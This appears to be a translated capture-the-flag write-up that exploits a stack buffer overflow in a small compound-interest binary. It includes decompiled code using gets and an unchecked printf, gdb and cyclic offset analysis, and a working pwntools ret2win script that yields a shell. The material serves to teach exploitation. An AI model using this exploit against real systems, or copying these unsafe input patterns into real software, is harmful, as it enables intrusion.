This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Challenge 07

July 16, 20253 minutes

A binary is provided for the challenge

int __fastcall main(int argc, const char **argv, const char **envp)
{
  double v3; // xmm0_8
  char nptr[8]; // [rsp+0h] [rbp-70h] BYREF
  __int64 v6; // [rsp+8h] [rbp-68h]
  __int64 v7; // [rsp+10h] [rbp-60h]
  __int64 v8; // [rsp+18h] [rbp-58h]
  __int64 v9; // [rsp+20h] [rbp-50h]
  __int64 v10; // [rsp+28h] [rbp-48h]
  __int64 v11; // [rsp+30h] [rbp-40h]
  __int64 v12; // [rsp+38h] [rbp-38h]
  double v13; // [rsp+48h] [rbp-28h]
  unsigned int v14; // [rsp+54h] [rbp-1Ch]
  double v15; // [rsp+58h] [rbp-18h]
  double v16; // [rsp+60h] [rbp-10h]
  unsigned int v17; // [rsp+6Ch] [rbp-4h]

  *(_QWORD *)nptr = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  v17 = 0;
  v16 = 0.0;
  v15 = 0.0;
  v14 = 0;
  start(argc, argv, envp);
  puts("Cuanto es tu capital inicial?");
  gets(nptr);
  v16 = atof(nptr);
  puts("Que tasa esperas de retorno?");
  gets(nptr);
  v15 = atof(nptr);
  puts("Cuanto tiempo estaras invertido?");
  gets(nptr);
  v14 = atoi(nptr);
  v3 = potencia(v14, v15 / 100.0 + 1.0);
  v13 = v3 * v16;
  printf("Despues de ese tiempo tendras %.2f de retorno\n", v3 * v16);
  puts("Cual es tu nombre?");
  gets(nptr);
  printf(nptr);
  puts(", Por ultimo, cual es tu edad?");
  gets(nptr);
  v17 = atoi(nptr);
  printf("Con tu edad: %d tienes un gran futuro por delante!\n", v17);
  return 0;
}

The program uses the gets function 5 times, which is vulnerable, since it does not validate the size of the input and can cause buffer overflows.

You can test this by sending a very long input and waiting for a segmentation fault

Cuanto es tu capital inicial?
AAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAA
Que tasa esperas de retorno?

Execution doesn’t break, which surprised me at the time, since there should be a segmentation fault because gets is being used. To find out what was happening, I used gdb with a breakpoint after the gets

b *main+141

The buffer overflow worked and rsp points to the ‘A’s we sent, but the program doesn’t segfault because there is no ret.

RSP  0x7fffffffe5b0 ◂— 0x4141414141414141 ('AAAAAAAA')

The only place where a return happens is at the end of main.

*RBP  0x4141414141414141 ('AAAAAAAA')
*RSP  0x7fffffffe628 ◂— 0x4141414141414141 ('AAAAAAAA')
*RIP  0x4014a5 (main+465) ◂— ret
────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────
b+ 0x40149f <main+459>    mov    eax, 0     EAX => 0
   0x4014a4 <main+464>    leave
 ► 0x4014a5 <main+465>    ret                                <0x4141414141414141>

On return, rip takes its address from rsp, and since rsp is 0x4141414141414141 (AAAAAAAA), which is not a valid address, the program segfaults and stops.

To measure how many bytes we need to send to reach rsp, I used cyclic

pwndbg> cyclic 300
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
*RSP  0x7fffffffe628 ◂— 'paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa'
*RIP  0x4014a5 (main+465) ◂— ret
pwndbg> cyclic -l paaaaaaa
Finding cyclic pattern of 8 bytes: b'paaaaaaa' (hex: 0x7061616161616161)
Found at offset 120

In IDA I saw there was a function called ejecutar (“execute”) that runs /bin/sh with system.

At this point, all that’s left is to write the script that sends 120 bytes of junk and the address of the ejecutar function

$ python3 solve.py LOCAL

[*] 0x401186
[*] Switching to interactive mode

Con tu edad: 0 tienes un gran futuro por delante!
$ whoami
d3bo
#!/usr/bin/env python3

from pwn import *

exe = ELF("./interes_compuesto_patched")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r


def main():
    r = conn()

    offset = 120
    ejecutar = exe.symbols['ejecutar']
    info(hex(ejecutar))

    payload = b'A' * offset
    payload += p64(ejecutar)

    r.sendlineafter('inicial?', b'A')
    r.sendlineafter('retorno?', b'A')
    r.sendlineafter('invertido?', b'A')
    r.sendlineafter('nombre?', b'A')
    r.sendlineafter('edad?', payload)

    # good luck pwning :)

    r.interactive()


if __name__ == "__main__":
    main()